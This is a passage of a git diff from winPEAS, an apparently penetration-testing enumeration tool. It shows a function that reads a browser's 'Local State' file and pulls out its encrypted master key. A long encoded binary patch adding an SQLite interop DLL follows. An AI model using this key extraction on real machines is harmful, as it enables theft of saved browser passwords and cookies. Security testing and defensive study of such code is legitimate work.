namespace winPEAS.Info.CloudInfo private static string GetMasterKey(string localStatePath) { string localStateJson = File.ReadAllText(localStatePath); - dynamic json = JsonConvert.DeserializeObject(localStateJson); - string encryptedKeyBase64 = json.os_crypt.encrypted_key; + JavaScriptSerializer serializer = new JavaScriptSerializer(); + dynamic json = serializer.Deserialize(localStateJson); + string encryptedKeyBase64 = json["os_crypt"]["encrypted_key"]; byte[] encryptedKeyWithPrefix = Convert.FromBase64String(encryptedKeyBase64); byte[] encryptedKey = new byte[encryptedKeyWithPrefix.Length - 5]; diff --git a/winPEAS/winPEASexe/winPEAS/costura32/SQLite.Interop.dll b/winPEAS/winPEASexe/winPEAS/costura32/SQLite.Interop.dll new file mode 100644 index 0000000000000000000000000000000000000000..035b7fa8d1d4dbce5e992be1dfbeb0c6f8a2f4ca GIT binary patch literal 1632952 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

    55P_q1`o%(sfb@9s@S!O30E1&BAuFG)a|KvrxAK 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 